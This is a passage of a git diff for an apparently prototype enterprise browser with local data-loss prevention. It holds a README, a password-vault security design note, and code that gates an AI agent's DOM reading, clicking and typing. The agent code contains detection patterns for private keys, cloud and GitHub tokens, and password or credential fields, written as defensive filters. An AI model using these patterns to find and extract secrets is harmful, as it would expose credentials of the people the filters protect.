visibility/locks, native tab identity and central bookmark CAS. The destination predicate must return true for allowed URLs. Adapters use fixed DOM code with JSON-escaped data, and honor abort. + +Prefer `persistCredential({address,token})` backed by protected trusted storage; Windows integration uses DPAPI. Optional `credentialFile` writes a new absolute path but does not establish Windows ACLs. Never accept callback/path configuration from pages. Audit contains action/scope/session/outcome metadata, not raw content. Audit failure prevents API adapter execution. Optional trusted `onError` reports static allowlisted reasons only. `revoke()` permanently disables the instance; `close()` shuts it down. Node deadlines cannot forcibly stop adapters that ignore cancellation. diff --git a/README.md b/README.md new file mode 100644 index 0000000..4b05bae --- /dev/null +++ b/README.md @@ -0,0 +1,182 @@ +

SafetyNet

+ +# SafetyNet · S Browser + +**A managed browser for enterprise AI work, with local content inspection and central security policy.** + +> **UNDER HEAVY DEVELOPMENT** — SafetyNet is a Windows-first development prototype. It is not production-ready, independently security-audited, or certified. Current Windows builds are unsigned. Evaluate it with synthetic data in an isolated test environment. + +SafetyNet combines an Electron/Chromium desktop browser, an administrator web console, a local document-inspection service, and a controlled AI gateway. Employees can use approved AI tools while administrators decide which information may leave the organization and where it may go. + +S Browser uses translucent materials, rounded controls, light/dark themes, and a content-first layout inspired by Safari. Website content is left unchanged. + +## A look inside + +![S Browser start page](docs/media/screenshots/browser-light.png) + +*Browser shell preview with synthetic bookmarks; this showcase is not a live external website.* + +![Custom profiles in central administration](docs/media/screenshots/admin-profiles.png) + +*Create your own named profiles and assign website access and feature permissions. This screenshot uses a synthetic test organization.* + +## What you can evaluate today + +| Area | Current capabilities | +| --- | --- | +| Managed browsing | Independent native tabs, enrollment, device inventory, revocation, centrally controlled settings, themes, company bookmarks and personal-bookmark permissions. | +| User and device policies | Custom named profiles for verified SSO subjects or explicit devices; allowlists, blocklists, administrator-maintained domain categories, DevTools delegation, restrictive device groups and explicit pilot cohorts. | +| Local DLP | Secret detectors, document fingerprints, supported text/PDF/Office/image extraction, offline RapidOCR and optional EmbeddingGemma 2 semantic classification. Reference training retains derived features rather than complete source documents. | +| Transfers | Bounded pre-release download scanning, byte-derived file-type checks, SHA-256 binding, configurable YARA and company ICAP. Supported clipboard and in-memory request paths receive policy checks. Unsupported native file/data-pipe uploads remain blocked. | +| Integrations | OIDC SSO; administrator/operator/auditor roles; system/fixed/PAC proxies; managed DNS; optional Windows VPN presence checks; ICAP/ICAPS inspection. | +| Administration | Policy templates, diffs and history, independent publication review, groups, profiles, teaching workflows, incidents and configurable event retention. | +| AI and agents | Approved AI routing with server-held credentials; scoped local agent navigation, tabs, page interaction, settings and bookmarks. Administrators can disable agent access centrally. | +| Observability | OpenTelemetry traces, metrics and sanitized logs; durable security events; ECS/CEF exports and HTTPS/mTLS SIEM delivery. An encrypted evidence server is implemented; automatic browser capture and analyst presentation remain incomplete. | +| Additional controls | Local encrypted password vault with explicit autofill; protected-brand visual similarity checks paired with trusted HTTPS origins. These features require further independent evaluation. | + +Permissions are enforced by the backend and privileged browser code, not merely by hiding controls. Matching restrictive policies accumulate. Domain categories are curated company lists, not a subscription categorization feed. + +Developer tools are a privileged exception, disabled for ordinary profiles. Delegating them changes the trust boundary: DevTools can provide paths outside normal clipboard guards. Grant access only to explicitly trusted developer profiles; do not assume complete DLP coverage when they are enabled. + +## Architecture + +```mermaid +flowchart LR + Admin[Admin web console] --> Management[Management and signed policies] + Management --> Browser[S Browser · Electron/Chromium] + Browser --> Inspector[Local Windows AppContainer inspector] + Browser --> Gateway[Controlled AI gateway] + Gateway --> Models[Approved local or external models] + Browser --> Audit[Durable security events and SIEM] + Management --> Audit + Browser --> OTel[OpenTelemetry Collector] + Gateway --> OTel +``` + +Local parsing, OCR, YARA and semantic classification do not send documents to a public classification service. Configured ICAP and external AI services receive the selected content at the explicitly approved destination. Parser workers use a zero-capability Windows AppContainer; management and external integrations operate outside that parser boundary. + +## Run a local evaluation + +### Prerequisites + +- Windows x64, the active development and test platform. macOS, Linux and mobile are future work. +- Node.js 24+ and npm. +- Python with `pip` for provisioning the pinned private Windows Python runtime and locked inspection dependencies. +- Disk space for dependencies and optional local models. Native semantic weights occupy approximately 865 MB before the worker and other runtime files. + +There is no downloadable signed installer or self-contained semantic-model bootstrap in this repository. Weights, private runtimes and generated builds are excluded from source control. Provisioning needs network access; normal local inspection does not download models. + +### 1. Install and initialize + +```powershell +git clone https://tea.karlcom.de/karl/safetynet.git +cd safetynet +npm ci +node node_modules/electron/install.js +npm run init +npm run runtime:win +``` + +`npm run init` creates `.env` from `.env.example` and generates private administrator and inspector credentials. It preserves existing configuration. Keep `.env` private and never commit it. + +For a **single-administrator HTTP loopback demo only**, set this in `.env`: + +```dotenv +REQUIRE_INDEPENDENT_POLICY_APPROVAL=false +``` + +Independent review is enabled in the example by default. Keep it enabled for enterprise evaluation with two different SSO administrator identities: a shared development token cannot provide an independent reviewer. + +### 2. Start the services + +Run each command in a separate terminal from the repository root: + +```powershell +npm run inspector +``` + +```powershell +npm run server +``` + +Open **http://127.0.0.1:4310**. For the demo, enter `ADMIN_TOKEN` from your private `.env` in the console. For enterprise access, configure OIDC and use your identity provider. + +```powershell +npm run browser +``` + +Create a one-use enrollment code in the console, then enroll the browser against the management server. Browser SSO enrollment is also supported when configured. Browsing remains locked until enrollment and a valid policy refresh complete. Revocation, expired policy or management failure pauses browsing. + +### 3. Try the management workflow + +1. Start from a policy template and review changes before publishing. +2. Add company bookmarks and configure employee-edit permissions. +3. Create a named profile, assign devices or verified SSO subjects, and set website and DevTools permissions. +4. Register a synthetic confidential reference document, review inspection coverage, and publish its derived rules. +5. Test allowed and blocked actions, then inspect security events and incident records. +6. Use a pilot cohort before expanding a policy. When independent review is enabled, a different administrator approves publication. + +Mandatory scanners fail closed when unavailable. Disabling YARA does not silently disable other mandatory inspection. Test required proxy, VPN, DNS and ICAP reachability before rolling out their policies. + +### Optional offline semantic classification + +The EmbeddingGemma 2 provisioner currently imports a verified distribution from a separately prepared compatible source project. It does not download arbitrary model weights or accept an unverified replacement. + +```powershell +python scripts/provision-semantic-runtime.py --source-project C:/path/to/compatible-source-project +python scripts/provision-semantic-runtime.py --verify +npm run runtime:win +``` + +The source layout and pinned hashes are defined in [the provisioner](scripts/provision-semantic-runtime.py). Without that distribution, keep semantic classification disabled; other provisioned local inspection can be evaluated. A standalone model/runtime installation workflow remains open. Reprovision ACLs after changing inspector or model files; see [Windows installation prerequisites](docs/windows-appcontainer-installation.md). + +## Enterprise configuration + +The console is a separate web application. Deploy it behind trusted HTTPS with OIDC, a protected service identity and restricted database/key access. Remote management does not accept the shared loopback development token. + +Use `.env.example` as the configuration reference for OIDC, inspector authentication, AI, OpenTelemetry, SIEM and optional protected evidence. Provision secrets through your deployment secret manager, not browser-editable settings or source control. No Docker-based production deployment is supplied. + +Policies have signed versions, expiry checks, device binding and rollback protection. The protected rollout channel uses ML-KEM-1024, AES-256-GCM and authenticated ML-DSA-87/Ed25519 challenges in addition to HTTPS. Initial trust, signing-key custody, rotation and independent cryptographic review remain deployment work; this is not FIPS validation or a guarantee of complete quantum security. + +Further guidance: + +- [Admin access, SSO and roles](docs/admin-security.md) and [deployment model](deploy/ADMIN-MANAGEMENT.md) +- [Independent policy approval](docs/policy-review.md) +- [Custom profiles](docs/user-profile-policies.md) and [pilot rollouts](docs/group-policy-rollout.md) +- [Transfer type and scanner controls](docs/file-transfer-controls.md) +- [Local agent API](AGENT-API.md) and [browser diagnostics](docs/browser-diagnostics.md) +- [Incidents](docs/incident-management.md), [event retention](docs/audit-retention.md) and [protected evidence](docs/protected-evidence.md) + +## Verify and build + +```powershell +npm test +npm run check +.runtime/windows/python/python.exe -m unittest discover -s apps/inspector -p "test_*.py" +npm run smoke +npm run preview:ui +``` + +Native tests use controlled receivers and an isolated browser profile. Clipboard tests use the Windows clipboard; run them serially. Passing tests establish the exercised scenarios, rather than universal prevention coverage. + +After provisioning the semantic distribution and private Windows runtime: + +```powershell +npm run package:win +npm run verify:package +``` + +The packaging workflow produces an unpacked evaluation build in `dist/win-unpacked`. Distribute the complete folder, not the executable alone. Code signing, a production installer and a trusted update service remain unfinished. + +## Current boundaries + +An Electron shell does not yet provide complete enterprise DLP across every transport. Native file/data-pipe uploads have no approved release path. WebSocket/WebRTC/streaming, encoded or covert channels, printing, OS screen capture, other applications and local administrator tampering are not fully covered. Complete audio/video transcription and frame coverage are unfinished. + +Automatic forensic browser capture, a complete analyst evidence interface, per-agent cryptographic identities and replay-resistant request proofs, SCIM, production key rotation, tested backup/recovery and independent security testing remain open. An allow decision means no implemented rule matched the supported input; it does not guarantee absence of secrets or malware. + +See the [threat model](docs/threat-model.md) and [requirements audit and roadmap](docs/requirements-audit.md) for coverage and remaining gates. Report security concerns privately to the repository owner; never post credentials or confidential documents in a public issue. + +## Project and third-party licensing + +A project distribution license has not yet been selected. Third-party components and weights retain their own terms; review them and complete redistribution notices before distributing a build. + diff --git a/VAULT-SECURITY.md b/VAULT-SECURITY.md new file mode 100644 index 0000000..5407cd4 --- /dev/null +++ b/VAULT-SECURITY.md @@ -0,0 +1,31 @@ +# Local vault security boundary + +This is a new, unaudited local vault implementation. It uses actual native ML-KEM-1024 in the shipped Electron 44 / Node 24 runtime, not an emulation or a cryptographic fallback. Independent cryptographic and browser-security review is required before production use. It does not claim FIPS validation or audited quantum-safe protection. ML-KEM is a key encapsulation mechanism, not a password-strength mechanism, and does not protect an unlocked or compromised endpoint. + +Standards and implementation references: [NIST FIPS 203: ML-KEM](https://www.nist.gov/publications/module-lattice-based-key-encapsulation-mechanism-standard), [NIST symmetric cryptography guidance](https://csrc.nist.gov/Projects/post-quantum-cryptography/faqs), and [Node.js native cryptography API](https://nodejs.org/download/release/v24.21.0/docs/api/crypto.html). + +## Envelope + +Each vault generates a random 256-bit data key and a native ML-KEM-1024 keypair. Native encapsulation yields a shared key; HKDF-SHA-256 with a vault identifier salt and domain-separated context derives an AES-256-GCM wrapping key for the random data key. The private KEM key is encrypted with a master-password-derived AES-256-GCM key, then protected by the injected Windows user-bound DPAPI adapter. Unlock requires both the master password and the Windows protection factor. DPAPI alone cannot unlock this envelope. + +The master-password key uses fixed scrypt N=131072, r=8, p=1 (approximately 128 MiB working memory; 192 MiB maximum allowed). Disk parameters cannot select a weaker or excessive KDF. Master passwords must contain at least 16 JavaScript characters, at most 1024; password strength still depends on entropy. Generated credential passwords use cryptographically secure random selection, default 32 characters, minimum 24. + +Full credential metadata and passwords are encrypted together using AES-256-GCM, fresh random 96-bit nonces and 128-bit authentication tags on each persistence. Associated data binds the format, vault identifier, salt, platform-protected private key, KEM ciphertext, and wrapped data key. File sizes and encoded-field lengths are bounded before expensive cryptography. Ciphertext tampering and wrong factors return a generic refusal and lock the vault. + +No account origin, username, label, password or master password is stored in plaintext. The outer envelope necessarily reveals format, algorithm-related sizes and ciphertext size; it provides neither padding nor traffic-analysis protection. The format is not a classical/PQC hybrid KEM: it uses ML-KEM plus symmetric encryption. + +## Browser integration obligations + +The root/main process supplies trusted DPAPI protect/unprotect callbacks. Production must refuse unavailable Windows protection; portable tests use a simulated authenticated second factor and do not claim to test DPAPI. The engine does not independently validate enterprise enrollment or central policy: main must authorize every operation, enforce administrator disable/revocation, and lock on policy changes, shutdown, OS session lock and explicit logout as applicable. + +`list()` returns unlocked metadata only and no password. `credential(id, origin)` exposes username/password only to the trusted main fill path and requires the exact stored canonical HTTPS origin, including port. Main must additionally validate the requesting browser session, current committed frame origin and form submission target immediately before filling. A same-origin hostile page or injected script may read a filled password. Filling must not expose values to agent APIs, audit events, chat prompts, general renderer APIs, clipboard, screenshots or logs. + +The idle timer locks after 60–900 seconds (default 300), refreshed by unlock, credential fill and mutations. Metadata listing and status polling do not refresh it, so background UI polling cannot keep a vault unlocked. Buffers holding keys, plaintext serialization and derived secrets are overwritten on completion/lock. JavaScript immutable strings, cloned credential objects, native crypto KeyObjects, parser allocations, crash dumps, OS paging and garbage-collected copies cannot be reliably erased. Memory protection remains best effort. Windows ACLs, endpoint isolation and crash-dump/pagefile controls must be separately enforced; POSIX-style mode 0600 does not establish a Windows ACL. + +## Persistence and recovery + +Writes use a random exclusively created temporary encrypted file, file flush, and atomic rename. A failed save preserves the prior committed file and rolls back the in-memory mutation. Only one process should access a vault; cross-process transactional locking and rollback resistance are not implemented. An attacker able to replace an authenticated old vault file can restore old credential state. Storage does not defend against an administrator or malware executing as the same unlocked Windows user. + +No sync, export, recovery key, master-password change or Windows-account migration is provided in this iteration. Losing the master password or the Windows DPAPI context can permanently lose access. Backups must preserve both encrypted storage and the appropriate Windows recovery context; there is no cloud copy. Secure deletion of previous encrypted blocks or backups is not guaranteed. + +References: [Node native cryptography](https://nodejs.org/api/crypto.html) and [NIST FIPS 203](https://csrc.nist.gov/pubs/fips/203/final). diff --git a/apps/browser/agent-adapters.cjs b/apps/browser/agent-adapters.cjs new file mode 100644 index 0000000..f64c928 --- /dev/null +++ b/apps/browser/agent-adapters.cjs @@ -0,0 +1,112 @@ +'use strict'; +function domAction(mode, selector, text, expectedUrl) { + if (location.href !== expectedUrl) throw Error('Document changed before action'); + const visible = e => { + if (!e || e.closest('[hidden],[aria-hidden="true"],script,style,template,noscript')) return false; + const style = getComputedStyle(e); + return style.display !== 'none' && style.visibility !== 'hidden' && style.opacity !== '0' && e.getClientRects().length > 0; + }; + const sensitive = e => { + const forbidden = /password|passwd|secret|token|credential|api.?key|auth|one.?time|otp|credit.?card|cc-number|cc-csc/i; + for (let node = e; node && node !== document.body; node = node.parentElement) { + if (['name','id','autocomplete','aria-label','data-sensitive','action'].some(a => forbidden.test(node.getAttribute(a) || ''))) return true; + } + return /^(password|file|hidden)$/i.test(e.type || ''); + }; + if (mode === 'read') { + const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT); + const parts = []; let length = 0, visited = 0, node; + while ((node = walker.nextNode()) && visited++ < 20000 && length < 10000) { + const element = node.parentElement; + if (!element || element.closest('input,textarea,select,option,[contenteditable],script,style,template,noscript') || !visible(element) || sensitive(element)) continue; + const value = (node.textContent || '').replace(/\s+/g, ' ').trim(); + if (value) { const piece = value.slice(0, 10000 - length); parts.push(piece); length += piece.length + 1; } + } + return { text: parts.join('\n').slice(0,10000) }; + } + const e = document.querySelector(selector); + if (!visible(e) || sensitive(e) || e.disabled || e.getAttribute('aria-disabled') === 'true') throw Error('Target is unavailable or sensitive'); + if (mode === 'click') { + if (!/^(A|BUTTON|INPUT)$/.test(e.tagName) || (e.tagName === 'INPUT' && !/^(button|submit|checkbox|radio)$/i.test(e.type))) throw Error('Target cannot be clicked'); + e.click(); return {completed:true}; + } + if (mode === 'type') { + if (e.readOnly || !(e.tagName === 'TEXTAREA' || (e.tagName === 'INPUT' && /^(text|search|email|url|tel)$/i.test(e.type)))) throw Error('Target cannot receive text'); + const prototype = e.tagName === 'TEXTAREA' ? HTMLTextAreaElement.prototype : HTMLInputElement.prototype; + Object.getOwnPropertyDescriptor(prototype,'value').set.call(e,text); + e.dispatchEvent(new Event('input',{bubbles:true})); e.dispatchEvent(new Event('change',{bubbles:true})); + return {completed:true}; + } + throw Error('Unsupported DOM action'); +} +const secret = text => /-----BEGIN (?:[A-Z ]+ )?PRIVATE KEY-----|\b(?:AKIA|ASIA)[A-Z0-9]{16}\b|\b(?:sk-[A-Za-z0-9_-]{16,}|gh[pousr]_[A-Za-z0-9]{20,})\b|\b(?:password|passwd|api[_ -]?key|access[_ -]?token|client[_ -]?secret)\s*[:=]\s*["']?[^\s"']{4,}/i.test(text); +const script = (mode,args,url) => `(${domAction.toString()})(${JSON.stringify(mode)},${JSON.stringify(args.selector || '')},${JSON.stringify(args.text || '')},${JSON.stringify(url)})`; +const hostMatches = (hostname, pattern) => { + const name=hostname.toLowerCase().replace(/\.$/,''),p=String(pattern).toLowerCase(); + return p.startsWith('*.') ? name.endsWith(p.slice(1)) && name!==p.slice(2) : name===p; +}; +function createAgentAdapters({getContext,getSessions,contextCurrent,navigate,ai,inspect,audit,appControls={}} = {}) { + if ([getContext,getSessions,contextCurrent,navigate,ai,inspect,audit].some(fn=>typeof fn!=='function')) throw TypeError('All adapter callbacks are required'); + const snapshot = (args,signal,action) => { + const c = getContext(args.sessionId); + if (signal?.aborted || !c?.ready || !c.policy?.agents?.enabled || !c.webContents || c.webContents.isDestroyed?.() || (c.policy.expiresAt && Date.parse(c.policy.expiresAt)<=Date.now())) throw Error('Managed session unavailable'); + if (!c.sessionId || !c.token || (args.sessionId !== undefined && args.sessionId !== c.sessionId)) throw Error('Unknown managed session'); + if (['click','type'].includes(action) && (c.foreground !== true || c.interactive===false)) throw Error('Managed session unavailable'); + const url = c.webContents.getURL(); + if (typeof c.destinationAllowed!=='function' || (action!=='navigate' && (!/^https?:\/\//.test(url) || c.destinationAllowed(url,c.policy)!==true))) throw Error('Session destination blocked'); + const agents=c.policy.agents; + if (!Array.isArray(agents.scopes) || !agents.scopes.includes(action)) throw Error('Agent scope denied'); + if (!Array.isArray(agents.allowedHosts) || (action!=='navigate' && agents.allowedHosts.length && !agents.allowedHosts.some(p=>hostMatches(new URL(url).hostname,p)))) throw Error('Agent destination denied'); + return {...c,url,action,version:c.policyVersion ?? c.policy.version}; + }; + const check = (initial,args,signal,expectedUrl=initial.url) => { + const current = snapshot({...args,sessionId:initial.sessionId},signal,initial.action); + if (!contextCurrent(initial.token) || current.version !== initial.version || current.webContents !== initial.webContents || current.url !== expectedUrl) throw Error('Managed session changed during action'); + return current; + }; + const classify = async (text,initial,args,signal,allowSensitive=false) => { + if (typeof text!=='string' || text.length>10000 || secret(text)) throw Error('Sensitive content cannot be returned'); + const verdict = await inspect(text,initial);check(initial,args,signal); + if (!verdict || !['allow','block'].includes(verdict.decision)) throw Error('Inspection unavailable'); + const reserved=/^(?:private-key|aws-access-key|api-secret|uninspectable|size-limit|inspection-incomplete|yara-.*)$/; + const knownCorporateRule=verdict.ruleId==='content-blocklist' || initial.policy.dlp?.rules?.some(rule=>rule.id===verdict.ruleId && ['literal','sha256','fragment-sha256'].includes(rule.kind)); + const override=allowSensitive && knownCorporateRule && !reserved.test(verdict.ruleId || '') && !verdict.malware && verdict.engine!=='yara' && verdict.coverage?.complete!==false; + if (verdict.decision==='block' && !override) { await audit({action:'agent.read',outcome:'blocked'});throw Error('Company policy blocks content access'); } + return text; + }; + const dom = mode => async (args,{signal}={}) => { + const initial = snapshot(args,signal,mode); + if (mode!=='read' && (typeof args.selector!=='string' || args.selector.length>512 || !/^[a-zA-Z0-9_#.*\[\]="' >+~-]+$/.test(args.selector))) throw Error('Invalid selector'); + if (mode==='type' && (typeof args.text!=='string' || args.text.length>16384)) throw Error('Invalid text'); + const result = await initial.webContents.executeJavaScript(script(mode,args,initial.url),false); + check(initial,args,signal); + if (mode==='read') return {text:await classify(result?.text,initial,args,signal,initial.policy.agents.allowSensitiveRead===true)}; + return {completed:result?.completed===true}; + }; + const appActions=['application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group']; + const appSnapshot=action=>{const c=getContext();if(!c?.ready||!c.policy?.agents?.enabled||!c.policy.agents.scopes?.includes(action)||(c.policy.expiresAt&&Date.parse(c.policy.expiresAt)<=Date.now()))throw Error('Agent scope denied');return c;}; + const appAdapters=Object.fromEntries(appActions.map(action=>[action,async(args={}, {signal}={})=>{ + const initial=appSnapshot(action),version=initial.policyVersion??initial.policy.version; + const current=()=>{const c=appSnapshot(action);if(signal?.aborted||c.policy!==initial.policy||(c.policyVersion??c.policy.version)!==version)throw Error('Managed session changed during action');}; + if(signal?.aborted||typeof appControls[action]!=='function')throw Error('Managed session unavailable'); + if(action==='tabs:create'&&args.url){const url=new URL(args.url);if(!['http:','https:'].includes(url.protocol)||url.username||url.password||initial.destinationAllowed(url.href,initial.policy)!==true||(initial.policy.agents.allowedHosts.length&&!initial.policy.agents.allowedHosts.some(p=>hostMatches(url.hostname,p))))throw Error('Agent destination denied');} + current();const result=await appControls[action](args,{signal,policyVersion:version});current(); + if(action==='bookmarks:list'){ + const entries=[...(result?.managed||[]),...(result?.personal?.items||[])]; + for(const item of entries){const text=[item.title,item.url,item.folder].filter(v=>typeof v==='string').join('\n');if(text.length>10000||secret(text))throw Error('Sensitive content cannot be returned');const verdict=await inspect(text,{...initial,action});current();if(verdict?.decision!=='allow')throw Error('Company policy blocks content access');} + } + return result; + }])); + return { + ...appAdapters, + sessions:async(args={}, {signal}={})=>{ + const c=getContext(); + if(signal?.aborted || !c?.ready || !c.policy?.agents?.enabled || !c.policy.agents.scopes?.includes('sessions') || (c.policy.expiresAt && Date.parse(c.policy.expiresAt)<=Date.now())) throw Error('Managed session unavailable'); + return getSessions().map(item=>({id:item.id,title:String(item.title || 'Tab').slice(0,160),foreground:item.foreground===true})); + }, + navigate:async(args,{signal}={})=>{const initial=snapshot(args,signal,'navigate');const url=new URL(args.url);if(!['http:','https:'].includes(url.protocol)||url.username||url.password||initial.destinationAllowed(url.href,initial.policy)!==true || (initial.policy.agents.allowedHosts.length && !initial.policy.agents.allowedHosts.some(p=>hostMatches(url.hostname,p))))throw Error('Destination blocked');const refreshed=await navigate(url.href,initial,{signal});if(!refreshed || refreshed.sessionId!==initial.sessionId || refreshed.webContents!==initial.webContents || (refreshed.policyVersion ?? refreshed.policy?.version)!==initial.version)throw Error('Managed session changed during action');check({...refreshed,action:initial.action,version:initial.version,url:url.href},args,signal,url.href);return {completed:true};}, + read:dom('read'),click:dom('click'),type:dom('type'), + ai:async(args,{signal}={})=>{const initial=snapshot(args,signal,'ai');if(typeof args.prompt!=='string'||args.prompt.length>16384)throw Error('Invalid prompt');const result=await ai(args.prompt,{signal});check(initial,args,signal);const text=typeof result==='string'?result:result?.text ?? result?.answer;return {text:await classify(text,initial,args,signal,false)};} + }; +} +module.exports={createAgentAdapters}; diff --git a/apps/browser/agent-client.cjs b/apps/browser/agent-client.cjs new file mode 100644 index 0000000..9b54cc7 --- /dev/null +++ b/apps/browser/agent-client.cjs @@ -0,0 +1,23 @@ +const {app}=require('electron'); +const fs=require('node:fs'),path=require('node:path'); +function configureClient(connectionFile){ + if(!connectionFile||!path.isAbsolute(connectionFile))throw Error('Absolute encrypted pairing file required'); + app.setPath('userData',path.join(app.getPath('appData'),'safetynet-agent-helper')); +} +async function runClient(connectionFile,requestFile){ + let stage='credential-store';try{ + if(!requestFile)throw Error('Request file required'); + stage='pairing';const descriptor=JSON.parse(fs.readFileSync(connectionFile,'utf8')); + if(descriptor.format!=='windows-dpapi-v1')throw Error('Pairing format rejected'); + const connection=JSON.parse(await require('./dpapi.cjs').capabilityCrypto('unprotect',descriptor.protectedConnection)); + const origin=new URL(connection.address); + if(origin.protocol!=='http:'||origin.hostname!=='127.0.0.1'||origin.username||origin.password||origin.pathname!=='/'||origin.search||origin.hash)throw Error('Agent endpoint rejected'); + stage='request-file';const info=fs.statSync(requestFile);if(!info.isFile()||info.size>32768)throw Error('Request too large'); + const body=fs.readFileSync(requestFile);if(body.length>32768)throw Error('Request too large');JSON.parse(body.toString()); + stage='transport';const response=await require('./loopback-http.cjs').postLoopback({port:Number(origin.port),route:'/v1/actions',token:connection.token,body:JSON.parse(body.toString()),signal:AbortSignal.timeout(15000)}); + stage='policy-response'; + const result=response.body;if(response.status!==200)throw Error('Agent policy denied action'); + process.stdout.write(JSON.stringify(result)+'\n');app.exit(0); + }catch(error){error.clientStage=stage;throw error;} +} +module.exports={configureClient,runClient}; diff --git a/apps/browser/agent-control.cjs b/apps/browser/agent-control.cjs new file mode 100644 index 0000000..ef2b4c1 --- /dev/null +++ b/apps/browser/agent-control.cjs @@ -0,0 +1,131 @@ +'use strict'; +const http = require('node:http'); +const crypto = require('node:crypto'); +const fs = require('node:fs/promises'); +const path = require('node:path'); + +const APP_ACTIONS=Object.freeze(['application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group']); +const SCOPES = Object.freeze({ sessions: 'sessions:list', navigate: 'browser:navigate', read: 'browser:read', click: 'browser:interact', type: 'browser:interact', ai: 'ai:request',...Object.fromEntries(APP_ACTIONS.map(action=>[action,action])) }); +const fail = (status, message) => Object.assign(new Error(message), { status }); +const bounded = (value, max, name) => { + if (typeof value !== 'string' || !value.length || value.length > max || /\u0000/.test(value)) throw fail(400, `Invalid ${name}`); + return value; +}; +function validate(body) { + if (!body || typeof body !== 'object' || Array.isArray(body) || Object.keys(body).some(k => !['action', 'args'].includes(k))) throw fail(400, 'Invalid action envelope'); + const action = body.action; + if (!Object.hasOwn(SCOPES, action)) throw fail(400, 'Unsupported action'); + const args = body.args ?? {}; + if (!args || typeof args !== 'object' || Array.isArray(args)) throw fail(400, 'Invalid arguments'); + const keys = { sessions: [], navigate: ['sessionId', 'url'], read: ['sessionId'], click: ['sessionId', 'selector'], type: ['sessionId', 'selector', 'text'], ai: ['sessionId', 'prompt'],'application:state':[],'settings:get':[],'settings:update':['appearance'],'bookmarks:list':[],'bookmarks:mutate':['action','bookmark','id','expectedRevision','policyVersion'],'tabs:create':['group','url'],'tabs:activate':['sessionId'],'tabs:close':['sessionId'],'tabs:group':['sessionId','group'] }[action]; + if (Object.keys(args).some(k => !keys.includes(k))) throw fail(400, 'Unsupported argument'); + const clean = {}; + if (action !== 'sessions' && args.sessionId !== undefined) clean.sessionId = bounded(args.sessionId, 128, 'sessionId'); + if (action === 'navigate') { + let url; try { url = new URL(bounded(args.url, 4096, 'url')); } catch { throw fail(400, 'Invalid URL'); } + if (!['http:', 'https:'].includes(url.protocol) || url.username || url.password) throw fail(400, 'Unsupported URL'); + clean.url = url.href; + } + if (['click', 'type'].includes(action)) { + clean.selector = bounded(args.selector, 512, 'selector'); + // A small CSS subset prevents pseudo-elements, escapes and control characters. + if (!/^[a-zA-Z0-9_#.*\[\]="' >+~-]+$/.test(clean.selector) || /password|autocomplete/i.test(clean.selector)) throw fail(400, 'Unsupported selector'); + } + if (action === 'type') clean.text = bounded(args.text, 16384, 'text'); + if (action === 'ai') clean.prompt = bounded(args.prompt, 16384, 'prompt'); + if(action.startsWith('tabs:')&&action!=='tabs:create')clean.sessionId=bounded(args.sessionId,128,'sessionId'); + if(action==='tabs:create'&&args.url!==undefined){let url;try{url=new URL(bounded(args.url,4096,'url'));}catch{throw fail(400,'Invalid URL');}if(!['http:','https:'].includes(url.protocol)||url.username||url.password)throw fail(400,'Unsupported URL');clean.url=url.href;} + if(['tabs:create','tabs:group'].includes(action)&&args.group!==undefined){if(typeof args.group!=='string'||args.group.length>40||/[\u0000-\u001f\u007f]/.test(args.group))throw fail(400,'Invalid group');clean.group=args.group;} + if(action==='tabs:group'&&args.group===undefined)throw fail(400,'Invalid group'); + if(action==='settings:update'){try{clean.appearance=require('./managed-settings.cjs').validateAppearance(args.appearance);}catch{throw fail(400,'Invalid appearance settings');}} + if(action==='bookmarks:mutate'){ + if(!['add','update','delete'].includes(args.action)||!Number.isSafeInteger(args.expectedRevision)||args.expectedRevision<0||!Number.isSafeInteger(args.policyVersion)||args.policyVersion<1)throw fail(400,'Invalid bookmark operation'); + clean.action=args.action;clean.expectedRevision=args.expectedRevision;clean.policyVersion=args.policyVersion; + if(args.action==='delete')clean.id=bounded(args.id,80,'bookmark id');else{const item=args.bookmark;if(!item||typeof item!=='object'||Array.isArray(item)||Object.keys(item).some(key=>!['id','title','url','folder'].includes(key)))throw fail(400,'Invalid bookmark');const folder=item.folder===undefined?'':item.folder;if(typeof folder!=='string'||folder.length>80||/[\u0000-\u001f\u007f]/.test(folder))throw fail(400,'Invalid bookmark folder');clean.bookmark={id:bounded(item.id,80,'bookmark id'),title:bounded(item.title,120,'bookmark title'),url:bounded(item.url,2048,'bookmark URL'),folder};} + } + return { action, args: clean, scope: SCOPES[action], sessionId: clean.sessionId }; +} +// Never return adapter objects wholesale: session handles and sanitized text only. +function project(action, result) { + if(action==='application:state')return {ready:result?.ready===true,policyVersion:Number.isSafeInteger(result?.policyVersion)?result.policyVersion:0,activeTabId:typeof result?.activeTabId==='string'?result.activeTabId.slice(0,128):null,tabCount:Number.isSafeInteger(result?.tabCount)?result.tabCount:0}; + if(action==='settings:get'||action==='settings:update'){const appearance=result?.appearance||{};return {visible:result?.visible===true,hiddenSections:Array.isArray(result?.hiddenSections)?result.hiddenSections.filter(s=>['appearance','library','ai','passwords','documentScan','agents'].includes(s)):[],lockedSections:Array.isArray(result?.lockedSections)?result.lockedSections.filter(s=>['appearance','library','ai','passwords','documentScan','agents'].includes(s)):[],appearance:{mode:['system','light','dark'].includes(appearance.mode)?appearance.mode:'system',accent:['blue','teal','violet'].includes(appearance.accent)?appearance.accent:'blue',tabMode:['compact','separate'].includes(appearance.tabMode)?appearance.tabMode:'separate'}};} + if(action==='bookmarks:list'){const items=values=>{if(!Array.isArray(values)||values.length>1000)throw fail(502,'Invalid bookmarks');return values.map(item=>({id:bounded(item.id,80,'bookmark id'),title:bounded(item.title,120,'bookmark title'),url:bounded(item.url,2048,'bookmark URL'),folder:typeof item.folder==='string'?item.folder.slice(0,80):''}));};return {managed:items(result?.managed||[]),personal:{revision:Number.isSafeInteger(result?.personal?.revision)?result.personal.revision:0,items:items(result?.personal?.items||[])},allowUserAdd:result?.allowUserAdd===true,allowUserEdit:result?.allowUserEdit===true,allowUserDelete:result?.allowUserDelete===true,policyVersion:Number.isSafeInteger(result?.policyVersion)?result.policyVersion:0};} + if(action.startsWith('tabs:')||action==='bookmarks:mutate')return {completed:result?.completed===true,...(typeof result?.sessionId==='string'?{sessionId:bounded(result.sessionId,128,'session id')}:{})}; + if (action === 'sessions') { + if (!Array.isArray(result) || result.length > 100) throw fail(502, 'Invalid session response'); + return result.map(s => ({ id: bounded(s.id, 128, 'session id'), ...(typeof s.title === 'string' ? { title: 